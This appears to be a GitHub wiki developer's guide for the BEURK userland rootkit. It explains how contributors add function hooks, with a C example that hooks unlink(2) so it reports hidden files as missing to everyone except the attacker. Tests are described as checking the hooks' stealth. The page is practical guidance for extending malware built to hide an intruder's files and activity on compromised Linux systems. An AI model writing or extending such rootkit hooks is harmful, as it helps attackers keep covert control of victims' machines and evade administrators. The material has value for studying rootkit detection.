Skip to content
Jacob ZAK edited this page May 11, 2015 · 12 revisions

Developer's Guide

This guide provides best practices for writing code on BEURK rootkit.


Writing a new function hook

A hook is an homemade function which pretends to be the real function.

As the rootkit is mostly based on function hooking, a complete procedure is available to ease new hooks development.

Requirements

Every hook must meet the following requirements:

  • A prototype in /includes/hooks.h
  • A .c file in /src/hooks/<function_name>.c
  • A dedicated unit test in /tests/core/hooks

Prototype in hooks.h

The prototype must always be similar to the real function prototype and must end with _HOOKED, a macro defined earlier in the header file.

<return_type> <function_name>(args) _HOOKED;

Associated .c file

Every hook is done in its singular file and must call the real function when idenfying the attacker, and do whatever you want it to do otherwise, keeping stealth in mind. Our DEBUG macro is there for debugging purpose, and must also be present in every hook. You must place it in the /src/core/hooks/ directory, naming it <function_name>.c.

Test suite

Each hook must be tested to ensure that no breakage occurs, and to assess stealthyness. Those tests must be placed in the /tests/core/hooks directory, and will automatically be picked up by our test script.

Usage

Writing the hooked function prototype in /includes/hooks.h is mandatory, as each prototype of this header is parsed by the builder to generate an accessor on the real function call. It is also used at compile time.

Real functions can be accessed through the REAL_<FUNCTION_NAME> macro.

Example

In this example, we decide to write a hook for the unlink(2) function.

  1. Add the prototype on hooks.h
  • (append to /includes/hooks.h):

    #include <unistd.h>
    int unlink(const char *pathname) _HOOKED;

    NOTE: The _HOOKED macro tells the compiler that the function symbol must be visible, as the rootkit is compiled with the -fvisibility=hidden attribute.

  1. Write the hook itself
  • (create an appropriate .c file, aka /src/hooks/unlink.c):

    #include <errno.h>
    
    int unlink(const char *pathname) {
        DEBUG(D_INFO, "unlink() hooked.\n");
    
        if (is_attacker())
            return REAL_UNLINK(pathname);
    
        else if (is_hidden_file(pathname)) {
            errno = ENOENT;
            return -1;
        }
    
        return REAL_UNLINK(pathname);
    }

    NOTE: The REAL_UNLINK is an accessor to the real unlink function. It is generated by BEURK's builder.

  1. Create a test for the hook
  • Read the README file at ./tests/core/hooks/.
  • Create a test file named ./tests/core/hooks/<HOOK>.c with correct checks.
  • Add tests calls on ./tests/core/hooks/run/py.
Clone this wiki locally